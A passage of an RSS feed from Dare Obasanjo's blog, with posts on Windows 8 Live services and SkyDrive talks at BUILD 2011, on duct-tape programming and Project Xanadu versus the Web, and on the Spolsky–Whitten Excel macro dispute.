I’m slated to talk about some of the work my team and others at Microsoft have done
in making it easy for Metro-style apps to leverage Live services like Windows Live
ID, SkyDrive, Hotmail, and Windows Live Messenger. I’ve been pretty busy at work as
regular readers of my blog can tell given my last post was in July. The past few months
have been exhilaratingly fun and crazy hectic as well. It’s great to finally be able
to share some of the work we’ve been doing with the world. 
</p>
        <p>
If you’re interested in learning more, I recommend visiting <a href="http://dev.live.com">http://dev.live.com</a> which
contains links to the Live SDK and talks about a number of key developer concepts
that were introduced in the Windows Developer Preview. 
</p>
        <p>
If you’re at the conference, I’d recommend attending my talk and some of the other
talks listed below
</p>
        <blockquote>
          <p>
            <a href="http://channel9.msdn.com/events/BUILD/BUILD2011/APP-784T">Power your app
with Live services</a>
            <br />
Windows 8 enables users to log into any device with a single Microsoft account and
continuously interact with your app on all of their devices. Your customers will expect
the ability to bring their documents, photos, videos, and contacts with them as they
move between their devices. Come see how you can enable great on-the-go experiences
by integrating Live services into your app. You’ll learn how to take advantage of
single sign on using a Microsoft account instead of creating your own authentication
infrastructure. You’ll also see how to use the SkyDrive service for free cloud-based
storage of your customers’ photos, videos, and documents. We’ll dive into the details
of the Live SDK and show how to use Visual Studio to easily enable these experiences
</p>
          <p>
            <a href="http://channel9.msdn.com/events/BUILD/BUILD2011/PLAT-134C">The complete developer's
guide to the SkyDrive API</a>
            <br />
More and more users are becoming familiar with the concept of "the Cloud."
More than ever, users are storing their data in the Cloud. SkyDrive is one of the
world's leading cloud storage and document collaboration services. Learn how you can
easily allow your users to read and write documents, photos, and other files from/to
their SkyDrive via simple REST APIs
</p>
          <p>
            <a href="http://channel9.msdn.com/events/BUILD/BUILD2011/PLAT-475T">Create experiences
that span devices</a>
            <br />
Your customers will expect your app to deliver a continuous experience even as they
switch between apps and move between their devices. Come learn how to ensure your
customers never lose their place in your app even when it is moved to the background
or accessed on a new device. You will also discover how to enable customers to personalize
your app with settings and ensure those settings flow automatically to all of their
devices. We will show you how you can enable this continuous, cloud-powered experience
with only a few lines of code.
</p>
        </blockquote>
        <p>
If you missed the BUILD keynote yesterday and want a quick overview of what was released,
the 5 minute video below captures the highlights of the keynote
</p>
        <iframe height="345" src="http://www.youtube.com/embed/1Hq95vtoS28" frameborder="0" width="560" allowfullscreen="allowfullscreen">
        </iframe>
        <p>
          <img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Jay-Z+Kanye+West&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Jay-Z
and Kanye West</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Jay-Z+kanye+West+Who+Gon+Stop+Me&amp;x=0&amp;y=0">Who
Gon Stop Me?</a> <img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=55cae110-f7a7-4636-891e-ecca445432fa" />
      </body>
      <title>Single Sign On, SkyDrive APIs and More: Connecting your Windows 8 Metro-style apps to Windows Live #bldwin</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,55cae110-f7a7-4636-891e-ecca445432fa.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2011/09/14/SingleSignOnSkyDriveAPIsAndMoreConnectingYourWindows8MetrostyleAppsToWindowsLiveBldwin.aspx</link>
      <pubDate>Wed, 14 Sep 2011 15:02:42 GMT</pubDate>
      <description>&lt;p&gt;
I’m currently at the &lt;a href="http://www.buildwindows.com/"&gt;Microsoft BUILD conference&lt;/a&gt; where
I’m slated to talk about some of the work my team and others at Microsoft have done
in making it easy for Metro-style apps to leverage Live services like Windows Live
ID, SkyDrive, Hotmail, and Windows Live Messenger. I’ve been pretty busy at work as
regular readers of my blog can tell given my last post was in July. The past few months
have been exhilaratingly fun and crazy hectic as well. It’s great to finally be able
to share some of the work we’ve been doing with the world. 
&lt;/p&gt;
&lt;p&gt;
If you’re interested in learning more, I recommend visiting &lt;a href="http://dev.live.com"&gt;http://dev.live.com&lt;/a&gt; which
contains links to the Live SDK and talks about a number of key developer concepts
that were introduced in the Windows Developer Preview. 
&lt;/p&gt;
&lt;p&gt;
If you’re at the conference, I’d recommend attending my talk and some of the other
talks listed below
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;a href="http://channel9.msdn.com/events/BUILD/BUILD2011/APP-784T"&gt;Power your app
with Live services&lt;/a&gt; 
&lt;br /&gt;
Windows 8 enables users to log into any device with a single Microsoft account and
continuously interact with your app on all of their devices. Your customers will expect
the ability to bring their documents, photos, videos, and contacts with them as they
move between their devices. Come see how you can enable great on-the-go experiences
by integrating Live services into your app. You’ll learn how to take advantage of
single sign on using a Microsoft account instead of creating your own authentication
infrastructure. You’ll also see how to use the SkyDrive service for free cloud-based
storage of your customers’ photos, videos, and documents. We’ll dive into the details
of the Live SDK and show how to use Visual Studio to easily enable these experiences
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://channel9.msdn.com/events/BUILD/BUILD2011/PLAT-134C"&gt;The complete developer's
guide to the SkyDrive API&lt;/a&gt; 
&lt;br /&gt;
More and more users are becoming familiar with the concept of &amp;quot;the Cloud.&amp;quot;
More than ever, users are storing their data in the Cloud. SkyDrive is one of the
world's leading cloud storage and document collaboration services. Learn how you can
easily allow your users to read and write documents, photos, and other files from/to
their SkyDrive via simple REST APIs
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://channel9.msdn.com/events/BUILD/BUILD2011/PLAT-475T"&gt;Create experiences
that span devices&lt;/a&gt; 
&lt;br /&gt;
Your customers will expect your app to deliver a continuous experience even as they
switch between apps and move between their devices. Come learn how to ensure your
customers never lose their place in your app even when it is moved to the background
or accessed on a new device. You will also discover how to enable customers to personalize
your app with settings and ensure those settings flow automatically to all of their
devices. We will show you how you can enable this continuous, cloud-powered experience
with only a few lines of code.
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
If you missed the BUILD keynote yesterday and want a quick overview of what was released,
the 5 minute video below captures the highlights of the keynote
&lt;/p&gt;
&lt;iframe height="345" src="http://www.youtube.com/embed/1Hq95vtoS28" frameborder="0" width="560" allowfullscreen="allowfullscreen"&gt;
&lt;/iframe&gt;
&lt;p&gt;
&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Jay-Z+Kanye+West&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Jay-Z
and Kanye West&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Jay-Z+kanye+West+Who+Gon+Stop+Me&amp;amp;x=0&amp;amp;y=0"&gt;Who
Gon Stop Me?&lt;/a&gt;&amp;#160;&lt;img title="Note" alt="Note" src="http://www.25hoursaday.com/weblog/images/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=55cae110-f7a7-4636-891e-ecca445432fa" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,55cae110-f7a7-4636-891e-ecca445432fa.aspx</comments>
      <category>Life in the B0rg Cube</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=7e1deda7-c260-44b6-bf34-470d7ff7cc94</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,7e1deda7-c260-44b6-bf34-470d7ff7cc94.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,7e1deda7-c260-44b6-bf34-470d7ff7cc94.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=7e1deda7-c260-44b6-bf34-470d7ff7cc94</wfw:commentRss>
      <slash:comments>6</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Last week Joel Spolsky wrote a blog post entitled <a href="http://www.joelonsoftware.com/items/2009/09/23.html">The
Duct Tape Programmer</a> where he praises developers who favor simple programming
practices to complex ones. This blog post strongly resonated with me and made me recall
some related thoughts on complexity and solving problems in software projects. Some
key excerpts from his which I'll use as a jumping off point are below
</p>
        <blockquote>
          <p>
            <em>Jamie Zawinski is what I would call a duct-tape programmer. And I say that with
a great deal of respect. He is the kind of programmer who is hard at work building
the future, and making useful things so that people can do stuff. 
<br />
... 
<br />
Duct tape programmers are pragmatic. Zawinski popularized Richard Gabriel’s precept
of </em>
            <a href="http://www.jwz.org/doc/worse-is-better.html">
              <em>Worse is Better</em>
            </a>
            <em>.
A 50%-good solution that people actually have solves more problems and survives longer
than a 99% solution that nobody has because it’s in your lab where you’re endlessly
polishing the damn thing. Shipping is a feature. A really important feature. Your
product must have it.</em>
          </p>
          <p>
            <em>One principle duct tape programmers understand well is that any kind of coding
technique that’s even slightly complicated is going to doom your project. Duct tape
programmers tend to avoid C++, templates, multiple inheritance, multithreading, COM,
CORBA, and a host of other technologies that are all totally reasonable, when you
think long and hard about them, but are, honestly, just a little bit too hard for
the human brain. 
<br /></em>
          </p>
        </blockquote>
        <p>
The urge the reduce the complexity of the tools used to solve software problems is
one that every software developer should share. However even more important is reducing
the complexity of the actual solutions that are delivered to your customers at the
end of the day. End users can't tell if you used complicated C++ techniques like <a href="http://en.wikipedia.org/wiki/Template_metaprogramming">template
metaprogramming</a> and <a href="http://aszt.inf.elte.hu/~gsd/halado_cpp/ch06s07.html#What-is-mixin">mixins</a> to
build the application. They can tell when your application fails to solve their actual
problems in a straightforward way or is so late to ship due to project delays that
they lose interest in waiting for you to solve their problems. 
</p>
        <p>
There are many famous and everyday examples of this culture of complexity in software
projects which are eventually trumped by solutions that solve 80% of the problem in
a simple way. My favorite example is contrasting the <a href="http://en.wikipedia.org/wiki/World_Wide_Web">World
Wide Web</a> invented by Tim Berners-Lee with <a href="http://en.wikipedia.org/wiki/Project_Xanadu">Project
Xanadu</a> as envisioned by Ted Nelson.  Today the WWW is used by over a billion
people to enrich their lives in myriad ways on a daily basis and has created hundreds
of billions dollars in value by minting an entire new industry. Project Xanadu is
a sad footnote spoken about in hushed tones by fans of hypertext who bewail the success
of the Web and how it has forced us to settle for less (i.e. Worse Is Better). 
</p>
        <p>
If you aren't familiar with Project Xanadu you can think of it as a networked system
of hyperlinked documents and media just like the WWW which had to satisfy the following <a href="http://xanadu.com.au/general/faq.html#2">seventeen
rules</a></p>
        <ol>
        </ol>
        <ol>
          <li>
Every Xanadu server is uniquely and securely identified. 
</li>
          <li>
Every Xanadu server can be operated independently or in a network. 
</li>
          <li>
Every user is uniquely and securely identified. 
</li>
          <li>
Every user can search, retrieve, create and store documents. 
</li>
          <li>
Every document can consist of any number of parts each of which may be of any data
type. 
</li>
          <li>
Every document can contain links of any type including virtual copies ("transclusions")
to any other document in the system accessible to its owner. 
</li>
          <li>
Links are visible and can be followed from all endpoints. 
</li>
          <li>
Permission to link to a document is explicitly granted by the act of publication. 
</li>
          <li>
Every document can contain a royalty mechanism at any desired degree of granularity
to ensure payment on any portion accessed, including virtual copies (<a href="http://en.wikipedia.org/wiki/Transclusion">"transclusions"</a>)
of all or part of the document. 
</li>
          <li>
Every document is uniquely and securely identified. 
</li>
          <li>
Every document can have secure access controls. 
</li>
          <li>
Every document can be rapidly searched, stored and retrieved without user knowledge
of where it is physically stored. 
</li>
          <li>
Every document is automatically moved to physical storage appropriate to its frequency
of access from any given location. 
</li>
          <li>
Every document is automatically stored redundantly to maintain availability even in
case of a disaster. 
</li>
          <li>
Every Xanadu service provider can charge their users at any rate they choose for the
storage, retrieval and publishing of documents. 
</li>
          <li>
Every transaction is secure and auditable only by the parties to that transaction. 
</li>
          <li>
The Xanadu client-server communication protocol is an openly published standard. Third-party
software development and integration is encouraged.<sup></sup></li>
        </ol>
        <p>
Reading this list is like going through a list of places where World Wide Web fails.
Rule #14 which implies every document on the network is redundantly backed up in disparate
locations so they can always be is something the WWW doesn't do today which is why
we have broken links and 404s all the time. Rule #9 implies that not only is copyright
respected and tracked throughout the system but there is even a micropayment platform
built in. All the discussions on <a href="http://www.bing.com/search?q=newspapers+micropayments&amp;form=OSDSRC">micropayments
saving newspapers</a> would be moot if Project Xanadu ruled the world since it would
have existed from day one. Rule #16 on transactions being secure and auditable sounds
like Nirvana in today's world of botnets, malware and phishing scams which plague
the Web. 
</p>
        <p>
Yet despite the fact that the forty year old Project Xanadu is a more compelling vision
than were we are today it failed and Tim Berners-Lee's World Wide Web succeeded. In
practical terms, Project Xanadu was trying to solve too many complex problems in a
v1 product. In contrast, Tim Berners-Lee focused on the most valuable problems to
solve for end users which was sharing documents and media with anyone on the Internet
and punted on a bunch of the hard problems that would require a more controlled and
tightly coupled network as well as a ton of more code. Tim Berners-Lee solved less
than half the problems Project Xanadu set out to solve but has changed the world immeasurably
for billions of people by providing simple solutions to complex problems and running
away from trying to create complex solutions to complex problems. 
</p>
        <p>
The bottom line is that a lot of the time it's OK to create a solution that solves
80% of the problem. Always remember that shipping is a feature. 
</p>
        <p>
          <img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Drake, Kanye West, Lil Wayne &amp; Eminem&amp;field-title=Forever&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Drake,
Kanye West, Lil Wayne &amp; Eminem</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Drake, Kanye West, Lil Wayne &amp; Eminem+Forever&amp;x=0&amp;y=0">Forever</a><img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=7e1deda7-c260-44b6-bf34-470d7ff7cc94" />
      </body>
      <title>Duct Tape Programmers and the Culture of Complexity in Software Projects</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,7e1deda7-c260-44b6-bf34-470d7ff7cc94.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2009/09/27/DuctTapeProgrammersAndTheCultureOfComplexityInSoftwareProjects.aspx</link>
      <pubDate>Sun, 27 Sep 2009 16:00:30 GMT</pubDate>
      <description>&lt;p&gt;
Last week Joel Spolsky wrote a blog post entitled &lt;a href="http://www.joelonsoftware.com/items/2009/09/23.html"&gt;The
Duct Tape Programmer&lt;/a&gt; where he praises developers who favor simple programming
practices to complex ones. This blog post strongly resonated with me and made me recall
some related thoughts on complexity and solving problems in software projects. Some
key excerpts from his which I'll use as a jumping off point are below
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;Jamie Zawinski is what I would call a duct-tape programmer. And I say that with
a great deal of respect. He is the kind of programmer who is hard at work building
the future, and making useful things so that people can do stuff. 
&lt;br /&gt;
... 
&lt;br /&gt;
Duct tape programmers are pragmatic. Zawinski popularized Richard Gabriel’s precept
of &lt;/em&gt;&lt;a href="http://www.jwz.org/doc/worse-is-better.html"&gt;&lt;em&gt;Worse is Better&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.
A 50%-good solution that people actually have solves more problems and survives longer
than a 99% solution that nobody has because it’s in your lab where you’re endlessly
polishing the damn thing. Shipping is a feature. A really important feature. Your
product must have it.&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;One principle duct tape programmers understand well is that any kind of coding
technique that’s even slightly complicated is going to doom your project. Duct tape
programmers tend to avoid C++, templates, multiple inheritance, multithreading, COM,
CORBA, and a host of other technologies that are all totally reasonable, when you
think long and hard about them, but are, honestly, just a little bit too hard for
the human brain. 
&lt;br /&gt;
&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The urge the reduce the complexity of the tools used to solve software problems is
one that every software developer should share. However even more important is reducing
the complexity of the actual solutions that are delivered to your customers at the
end of the day. End users can't tell if you used complicated C++ techniques like &lt;a href="http://en.wikipedia.org/wiki/Template_metaprogramming"&gt;template
metaprogramming&lt;/a&gt; and &lt;a href="http://aszt.inf.elte.hu/~gsd/halado_cpp/ch06s07.html#What-is-mixin"&gt;mixins&lt;/a&gt; to
build the application. They can tell when your application fails to solve their actual
problems in a straightforward way or is so late to ship due to project delays that
they lose interest in waiting for you to solve their problems. 
&lt;/p&gt;
&lt;p&gt;
There are many famous and everyday examples of this culture of complexity in software
projects which are eventually trumped by solutions that solve 80% of the problem in
a simple way. My favorite example is contrasting the &lt;a href="http://en.wikipedia.org/wiki/World_Wide_Web"&gt;World
Wide Web&lt;/a&gt; invented by Tim Berners-Lee with &lt;a href="http://en.wikipedia.org/wiki/Project_Xanadu"&gt;Project
Xanadu&lt;/a&gt; as envisioned by Ted Nelson.&amp;#160; Today the WWW is used by over a billion
people to enrich their lives in myriad ways on a daily basis and has created hundreds
of billions dollars in value by minting an entire new industry. Project Xanadu is
a sad footnote spoken about in hushed tones by fans of hypertext who bewail the success
of the Web and how it has forced us to settle for less (i.e. Worse Is Better). 
&lt;/p&gt;
&lt;p&gt;
If you aren't familiar with Project Xanadu you can think of it as a networked system
of hyperlinked documents and media just like the WWW which had to satisfy the following &lt;a href="http://xanadu.com.au/general/faq.html#2"&gt;seventeen
rules&lt;/a&gt;
&lt;/p&gt;
&lt;ol&gt;
&lt;ol&gt;
&lt;li&gt;
Every Xanadu server is uniquely and securely identified. 
&lt;/li&gt;
&lt;li&gt;
Every Xanadu server can be operated independently or in a network. 
&lt;/li&gt;
&lt;li&gt;
Every user is uniquely and securely identified. 
&lt;/li&gt;
&lt;li&gt;
Every user can search, retrieve, create and store documents. 
&lt;/li&gt;
&lt;li&gt;
Every document can consist of any number of parts each of which may be of any data
type. 
&lt;/li&gt;
&lt;li&gt;
Every document can contain links of any type including virtual copies (&amp;quot;transclusions&amp;quot;)
to any other document in the system accessible to its owner. 
&lt;/li&gt;
&lt;li&gt;
Links are visible and can be followed from all endpoints. 
&lt;/li&gt;
&lt;li&gt;
Permission to link to a document is explicitly granted by the act of publication. 
&lt;/li&gt;
&lt;li&gt;
Every document can contain a royalty mechanism at any desired degree of granularity
to ensure payment on any portion accessed, including virtual copies (&lt;a href="http://en.wikipedia.org/wiki/Transclusion"&gt;&amp;quot;transclusions&amp;quot;&lt;/a&gt;)
of all or part of the document. 
&lt;/li&gt;
&lt;li&gt;
Every document is uniquely and securely identified. 
&lt;/li&gt;
&lt;li&gt;
Every document can have secure access controls. 
&lt;/li&gt;
&lt;li&gt;
Every document can be rapidly searched, stored and retrieved without user knowledge
of where it is physically stored. 
&lt;/li&gt;
&lt;li&gt;
Every document is automatically moved to physical storage appropriate to its frequency
of access from any given location. 
&lt;/li&gt;
&lt;li&gt;
Every document is automatically stored redundantly to maintain availability even in
case of a disaster. 
&lt;/li&gt;
&lt;li&gt;
Every Xanadu service provider can charge their users at any rate they choose for the
storage, retrieval and publishing of documents. 
&lt;/li&gt;
&lt;li&gt;
Every transaction is secure and auditable only by the parties to that transaction. 
&lt;/li&gt;
&lt;li&gt;
The Xanadu client-server communication protocol is an openly published standard. Third-party
software development and integration is encouraged.&lt;sup&gt;&lt;/sup&gt;
&lt;/li&gt;
&lt;/ol&gt;
&gt;
&lt;p&gt;
Reading this list is like going through a list of places where World Wide Web fails.
Rule #14 which implies every document on the network is redundantly backed up in disparate
locations so they can always be is something the WWW doesn't do today which is why
we have broken links and 404s all the time. Rule #9 implies that not only is copyright
respected and tracked throughout the system but there is even a micropayment platform
built in. All the discussions on &lt;a href="http://www.bing.com/search?q=newspapers+micropayments&amp;amp;form=OSDSRC"&gt;micropayments
saving newspapers&lt;/a&gt; would be moot if Project Xanadu ruled the world since it would
have existed from day one. Rule #16 on transactions being secure and auditable sounds
like Nirvana in today's world of botnets, malware and phishing scams which plague
the Web. 
&lt;/p&gt;
&lt;p&gt;
Yet despite the fact that the forty year old Project Xanadu is a more compelling vision
than were we are today it failed and Tim Berners-Lee's World Wide Web succeeded. In
practical terms, Project Xanadu was trying to solve too many complex problems in a
v1 product. In contrast, Tim Berners-Lee focused on the most valuable problems to
solve for end users which was sharing documents and media with anyone on the Internet
and punted on a bunch of the hard problems that would require a more controlled and
tightly coupled network as well as a ton of more code. Tim Berners-Lee solved less
than half the problems Project Xanadu set out to solve but has changed the world immeasurably
for billions of people by providing simple solutions to complex problems and running
away from trying to create complex solutions to complex problems. 
&lt;/p&gt;
&lt;p&gt;
The bottom line is that a lot of the time it's OK to create a solution that solves
80% of the problem. Always remember that shipping is a feature. 
&lt;/p&gt;
&lt;p&gt;
&lt;img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /&gt; Now
Playing: &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Drake, Kanye West, Lil Wayne &amp;amp; Eminem&amp;amp;field-title=Forever&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Drake,
Kanye West, Lil Wayne &amp;amp; Eminem&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Drake, Kanye West, Lil Wayne &amp;amp; Eminem+Forever&amp;amp;x=0&amp;amp;y=0"&gt;Forever&lt;/a&gt; &lt;img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=7e1deda7-c260-44b6-bf34-470d7ff7cc94" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,7e1deda7-c260-44b6-bf34-470d7ff7cc94.aspx</comments>
      <category>Programming</category>
      <category>Ramblings</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=241d1979-50d7-43c7-8f28-08d853790830</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,241d1979-50d7-43c7-8f28-08d853790830.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,241d1979-50d7-43c7-8f28-08d853790830.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=241d1979-50d7-43c7-8f28-08d853790830</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
…just different requirements and constraints. 
</p>
        <p>
The top story on <a title="Has Joel Spolsky been honest about his time at Microsoft? GW-Basic guy is no fan..." href="http://www.reddit.com/r/programming/comments/82s16/has_joel_spolsky_been_honest_about_his_time_at/">programming.reddit</a> this
morning is an example of how differently people can view the same incident and how
it relates to making design decisions when trying to ship a software project. 
</p>
        <p>
Almost a decade ago, Joel Spolsky wrote an article entitled <a href="http://www.joelonsoftware.com/printerFriendly/articles/TwoStories.html">Two
Stories</a> which contrasted his time working at Microsoft with his time working at
Juno (a popular ISP from back in the day). Below is the relevant excerpt from Joel's
article which talks about his time developing the macro language that was to be used
by Excel. 
</p>
        <blockquote>
          <p>
            <em>My first assignment at my first job was working at Microsoft, where I was told
to come up with a new macro language strategy for Excel. Pretty soon, I had the first
draft of the "Excel Basic" spec (which later evolved into Visual Basic for
Applications, but that's another story). Somehow, this mysterious group of people
at Microsoft called the "Application Architecture" group got wind of my
spec, which must have concerned them, because for some reason they thought that they
were in charge of things like macro language strategies, and they asked to see my
spec. 
<br />
… 
<br />
So I proceeded to ignore them as diplomatically as possible.</em>
          </p>
          <p>
            <em>This seemed to piss off a guy named Greg Whitten who headed up the App Architecture
group. Now, Greg was something like Microsoft employee number 6. He had been around
forever; nobody could quite point to anything he had done but apparently he had lunch
with Bill Gates a lot and GW-BASIC was named after him. Greg called a BIG MEETING
and proceeded to complain about how the Excel team (meaning me) was screwing up the
macro strategy. We pressured him to come up with some specific reasons but his arguments
just weren't convincing. I thought it was nice that here I was, a new hire pipsqueak
right out of college, arguing with employee number 6 and apparently winning the argument.
(Can you imagine that happening at a Grey Flannel Suit company?) My programming team,
headed by Ben Waldman (now a VP at Microsoft) backed me up completely, which was all
that really mattered, because the programming team wrote the code and thus had the
final say on how things got done.</em>
          </p>
        </blockquote>
        <p>
Five years later, John Foust tracked down Greg Whitten to get his take on the same
incident and then <a href="http://www.classiccmp.org/pipermail/cctech/2005-April/042999.html">republished
Greg's private response</a> on the classic computing mailing list. The relevant excerpt
from Greg Whitten's mail is below 
</p>
        <blockquote>
          <p>
            <em>On the Joel Spolsky subject he was a basically ignorant junior employee who left
Microsoft after a short number of years. His short sighted decisions to take the VB
macro language in Excel in its own directions caused 6 other major applications that
were doing BASIC macro languages to diverge and not be able to share any macro programs
between the applications. He made other similarly stupid decisions like creating a
custom programming interface for BASIC in Excel instead of sharing a common interface
as strongly recommended. The applications group spent 30 man-years integrating custom
interfaces for each application with the Office 95 applications. In Office 98 they
tossed it all and went back to my original suggestion which only took 1.5 man-years
to develop and provided better commonality and learning between the applications.</em>
          </p>
        </blockquote>
        <p>
It is instructive to compare both approaches to solving the same problem. Joel seems
to be a believer in the philosophy that <a href="http://diveintomark.org/archives/2002/04/10/shipping_is_a_feature">shipping
is a feature</a> which means you execute on your project by limiting dependencies
while making sure you are building specific solutions to customers problems. Greg
was big picture guy who wanted to ensure that all of the various BASIC macro languages
being developed by different groups at Microsoft were compatible and could developers
could easily port applications between them. They both have a point, on the one hand
the designer of the Excel macro language shouldn't have to be limited by the constraints
of building macros for Outlook but on the other hand anyone building common tooling
or infrastructure for macros in Office would prefer that there weren't significant
differences in the various macro languages in the product suite. So you end up with
two smart people with contradictory goals and it is thus unsurprising that each thinks
the other is ignorant. 
</p>
        <p>
The unfortunate thing about this entire incident is that it would have been a great
learning experience for Joel if he had stayed on in Excel to see some of the consequences
of his design decisions and then be in a position to consider whether he'd made the
right tradeoffs in the first place. Of course, this is pretty commonplace when it
comes to large software platforms where people can spend <a href="http://www.joelonsoftware.com/articles/PickingShipDate.html">3
– 5 years working on a single release</a> which in combination with <a href="http://captaincapitalism.blogspot.com/2007/10/average-time-spent-on-job.html">an
average job tenure of 4 years in the U.S.</a> (probably less in fast paced the software
industry) means that many people never learn from their mistakes or improve their
skills over time. 
</p>
        <p>
~~
</p>
        <p>
As a program manager at Microsoft, I'm often in the same predicament as Joel was when
he started working at Excel. Although the same challenge exists at every big software
company, Microsoft is unique in its breadth of software offerings which means that
almost every technology choice or design decision you make is an opportunity to pay
some sort of <a href="http://www.scripting.com/davenet/2001/04/30/strategyTax.html">strategy
tax</a>. The key thing I always keep in mind is that <em>shipping is a feature</em> and
building software that delights our customers should have the highest priority. Being
able to articulate how your choices reflect both of these points during every phase
of the project is part of being a good program manager. Joel was able to do that,
which is why he got to ship his project how he saw fit.
</p>
        <p>
          <img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /> Now
Playing: <a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;unfiltered=1&amp;field-keywords=&amp;field-artist=Korn&amp;field-title=&amp;field-label=&amp;field-binding=&amp;sort=relevancerank&amp;Adv-Srch-Music-Album-Submit.x=19&amp;Adv-Srch-Music-Album-Submit.y=6">Korn</a> - <a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;field-keywords=Korn+Freak On A Leash&amp;x=0&amp;y=0">Freak
On A Leash</a><img style="vertical-align: middle" title="Note" alt="Note" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/music_note.gif" /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=241d1979-50d7-43c7-8f28-08d853790830" />
      </body>
      <title>There are no bad design decisions…</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,241d1979-50d7-43c7-8f28-08d853790830.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2009/03/07/ThereAreNoBadDesignDecisions.aspx</link>
      <pubDate>Sat, 07 Mar 2009 14:13:24 GMT</pubDate>
      <description>&lt;p&gt;
…just different requirements and constraints. 
&lt;/p&gt;
